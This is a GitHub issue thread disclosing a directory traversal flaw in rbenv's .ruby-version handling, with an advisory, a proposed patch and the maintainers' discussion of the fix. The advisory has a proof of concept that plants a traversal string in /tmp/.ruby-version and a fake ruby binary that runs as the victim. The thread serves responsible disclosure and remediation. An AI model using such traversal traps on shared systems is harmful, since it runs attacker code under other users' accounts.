Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

OVE-20170303-0004 rbenv Ruby specification directory traversal #977

Closed
justinsteven opened this issue Mar 4, 2017 · 12 comments
Closed

OVE-20170303-0004 rbenv Ruby specification directory traversal #977

justinsteven opened this issue Mar 4, 2017 · 12 comments

Comments

@justinsteven
Copy link

Hi rbenv,

I've found what I believe to be a very low-risk security issue affecting rbenv. I will be publishing the following advisory imminently. I usually back-channel security issues to projects, but I figure this is low enough of a risk to post it publicly. I can only imagine scenarios in which a local user could attack another local user in a situation requiring a high level of user interaction on behalf of the victim user.

I think the following patch would be appropriate, but at the same time thought I'd leave it to more knowledgable folks to decide the best place and way to protect against this issue in a way that wont break peoples use of things like ~/.rbenv/version (e.g. someone might intentionally have put directory traversal sequences in that file to use a Ruby outside of their home directory)

17:01:03[justin@116e71652cf1 D ~/.rbenv](master/!1?2)% git diff
diff --git a/libexec/rbenv-version-file-read b/libexec/rbenv-version-file-read
index 03d2db0..f62b2ea 100755
--- a/libexec/rbenv-version-file-read
    b/libexec/rbenv-version-file-read
@@ -12,6  12,13 @@ if [ -e "$VERSION_FILE" ]; then
   words=( $(cut -b 1-1024 "$VERSION_FILE") )
   version="${words[0]}"
 
   # Bail out if $version contains directory traversal sequences
   if (
     [ "$version" == ".." ] ||     # detect ".."
     [[ "$version" == */.. ]] ||   # detect "./././.." and "////.."
     [[ "$version" == *../* ]]     # detect "../../../../foobar"
   ); then exit 1; fi
 
   if [ -n "$version" ]; then
     echo "$version"
     exit

I shall leave it in your capable hands. Thanks!


CVE-2017-TBA rbenv Ruby specification directory traversal

  • OVE ID: OVE-20170303-0004
  • Public disclosure date: 2017-03-04
  • Affected versions: All?

When executing Ruby or a Ruby script, rbenv reads a file named .ruby-version
to determine the version of Ruby interpreter to execute. It will walk up the
directory tree until it finds such a file, or until it reaches /. If it does
not find such a file, it repeats the process starting from $PWD.
Documentation regarding this process is available at
https://github.com/rbenv/rbenv/blob/master/README.md#choosing-the-ruby-version

Once a Ruby version has been identified,
~/.rbenv/versions/${VERSION}/bin/ruby is used to provide Ruby.

The Ruby version specified in .ruby-version may contain path traversal
sequences, making it possible to specify that a ruby binary outside of the
user's home directory should be used to provide Ruby.

This is exploitable against local users in the following cases:

  • Where a user executes a trustworthy Ruby script that is in a directory where
    the first .ruby-version encountered while walking upwards from the
    directory to the root directory is attacker-controlled. For example, an
    attacker may plant /tmp/.ruby-version to exploit a user who is executing
    /tmp/foo/bar/fizzbuzz.rb

  • Where a user executes a trustworthy Ruby script while their $PWD is a
    directory where the first .ruby-version encountered while walking upwards
    from the directory to the root directory is attacker-controlled. For example,
    an attacker may plant /tmp/.ruby-version to exploit a user who is executing
    a Ruby script while they are cd'd to /tmp/fizz/buzz/

These attack scenarios are considered by the author to be highly unusual and
requires a high level of user interaction (executing Ruby scripts from, or
while cd'd to, a world-writable directory or a descendent thereof). This
issue is hence deemed to be low-risk.

POC

Exploit a user running a Ruby script that is within /tmp

Create an innocent script:

[justin@116e71652cf1 D ~]% mkdir -p /tmp/foo/bar/

[justin@116e71652cf1 D ~]% cat > /tmp/foo/bar/fizzbuzz.rb
#!/usr/bin/env ruby
puts 'This is fine'
^D

[justin@116e71652cf1 D ~]% chmod u x /tmp/foo/bar/fizzbuzz.rb

Set the trap as nobody:

[justin@116e71652cf1 D ~]% cat | sudo -u nobody tee /tmp/.ruby-version >/dev/null
../../../../../../../../../../../../tmp/badruby
^D

[justin@116e71652cf1 D ~]% sudo -u nobody mkdir -p /tmp/badruby/bin

[justin@116e71652cf1 D ~]% cat | sudo -u nobody tee /tmp/badruby/bin/ruby >/dev/null
#!/bin/sh
echo "Bad ruby executing as $(id)"
^D

[justin@116e71652cf1 D ~]% sudo -u nobody chmod -R a rx /tmp/badruby

[justin@116e71652cf1 D ~]% ls -la /tmp/.ruby-version /tmp/badruby/bin/ruby
-rw-r--r-- 1 nobody nogroup 48 Mar  3 23:54 /tmp/.ruby-version
-rwxr-xr-x 1 nobody nogroup 45 Mar  3 23:55 /tmp/badruby/bin/ruby

Trigger the trap by executing the trustworthy script as justin:

[justin@116e71652cf1 D ~]% /tmp/foo/bar/fizzbuzz.rb
Bad ruby executing as uid=31337(justin) gid=31337(justin) groups=31337(justin),27(sudo)

Exploit a user running a Ruby script while their $PWD is within /tmp

Create an innocent script within ~:

[justin@116e71652cf1 D ~]% mkdir -p ~/fizz/buzz

[justin@116e71652cf1 D ~]% cat > ~/fizz/buzz/foobar.rb
#!/usr/bin/env ruby
puts 'This is fine'
^D

[justin@116e71652cf1 D /tmp/fizz/buzz]% chmod u x ~/fizz/buzz/foobar.rb 

cd to an empty directory within /tmp:

[justin@116e71652cf1 D ~]% mkdir -p /tmp/fizz/buzz

[justin@116e71652cf1 D ~]% cd /tmp/fizz/buzz

[justin@116e71652cf1 D /tmp/fizz/buzz]% ls -la
total 8
drwxr-xr-x 2 justin justin 4096 Mar  4 00:00 .
drwxr-xr-x 3 justin justin 4096 Mar  4 00:00 ..

Don't bother setting the trap as nobody - the trap from the previous POC will
work just fine.

Trigger the trap by executing the trustworthy script as justin:

[justin@116e71652cf1 D /tmp/fizz/buzz]% ~/fizz/buzz/foobar.rb 
Bad ruby executing as uid=31337(justin) gid=31337(justin) groups=31337(justin),27(sudo)
@justinsteven
Copy link
Author

justinsteven commented Mar 4, 2017

A copy of the above advisory, with minimal additional explanatory information, is now available at https://github.com/justinsteven/advisories/blob/master/2017_rbenv_ruby_version_directory_traversal.md

@mislav
Copy link
Member

mislav commented Mar 5, 2017

Thanks for taking the time to report this in such an comprehensive manner.

The .ruby-version file was never designed to take path segments. I wonder if we can prohibit any value that includes / without disrupting anyone's legimitate uses of rbenv. Thoughts?

@justinsteven
Copy link
Author

@mislav sounds good to me from a security POV - I won't claim to know enough about Ruby-land to know the .ruby-version spec or whether bailing out upon / would break anyones use of rbenv :)

@justinsteven
Copy link
Author

Though the case of .. to traverse one directory up might also need to be considered. I can't think of any security implication of making somebody use ~/.rbenv/versions/../bin/ruby as their Ruby; but it is an unintended directory traversal.

@agx
Copy link

agx commented Jul 22, 2017

The assigned CVE is CVE-2017-1000047 (just to make it simpler to find)

@justinsteven
Copy link
Author

@mislav any thoughts on this? I (still) don't know enough about Ruby-land to know if prohibiting / in .ruby-version will break anyone's use of rbenv

@mislav
Copy link
Member

mislav commented Mar 30, 2019

@justinsteven I also don't know, but I don't want to risk it if we don't need to cut support for this feature. Would it be sufficient to disallow the string ../ anywhere in the version? I guess directory traversal could be supported as long as we don't allow going "up"

I'm not sure how easy that is to enforce; if people find their way around that using string hacks then we're back to square one 🤔

@justinsteven
Copy link
Author

I had a few thoughts in the original report. Basically, if we ban the patterns .., */.. and *../* then no opportunities for traversal come to my mind (or at least came to my mind when I submitted this bug). Of course, the more specific we get about patterns, the more likely it is we leave things open to an obscure traversal.

@justinsteven
Copy link
Author

The other thing that could be explored is using realpath or readlink -f to normalise the full path, and then doing a string comparison check to ensure it starts with $HOME/.rbenv/versions/

mislav added a commit that referenced this issue Apr 3, 2019
A malicious `.ruby-version` file in the current directory could inject
`../../../` into the version string and trigger execution of binaries
outside of `RBENV_ROOT/versions/`.

Fixes #977 OVE-20170303-0004
@mislav
Copy link
Member

mislav commented Apr 3, 2019

@justinsteven Thank you for your thoughts. I have opened a PR and would appreciate your review!

@jasonkarns
Copy link
Member

Thanks again, @justinsteven for the report.

While preparing a pull from rbenv upstream into nodenv, I realized the current fix (#1156) would break a very common use case of version subdirectories for nodenv: lts/carbon. I recognize that nodenv's use case for lts/ doesn't directly impact rbenv, but it seems that supporting subdirectories could still be a valid use case across the board.

Thoughts on reverting to the originally proposed bans on .., */.. and *../* specifically instead of banning directory traversal entirely?

@mislav
Copy link
Member

mislav commented May 6, 2019

@jasonkarns Thanks for bringing this to my attention. Rbenv never had explicit support for subdirectories in version names, therefore there is no functionality I'm interested in restoring just so that it could serve nodenv's purposes. However, I'd be open to accepting a PR that adds the version subdirectory functionality if it:

  • defines the behavior of rbenv versions around subdirectories;
  • adds tests for added functionality.

jrolfs pushed a commit to jrolfs/rbenv that referenced this issue May 21, 2019
A malicious `.ruby-version` file in the current directory could inject
`../../../` into the version string and trigger execution of binaries
outside of `RBENV_ROOT/versions/`.

Fixes rbenv#977 OVE-20170303-0004
jasonkarns added a commit to nodenv/nodenv that referenced this issue Nov 4, 2019
rbenv removed support for directory traversal `..` as well as path
segments. However, nodenv has a valid use-case for path segments: the
lts alias names.

This change keeps the `..` pattern blocked, while allowing forward
slashes in the version name.

see:
rbenv/rbenv#977 (comment)
gioele pushed a commit to gioele/rbenv that referenced this issue Feb 15, 2023
A malicious `.ruby-version` file in the current directory could inject
`../../../` into the version string and trigger execution of binaries
outside of `RBENV_ROOT/versions/`.

Fixes rbenv#977 OVE-20170303-0004
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants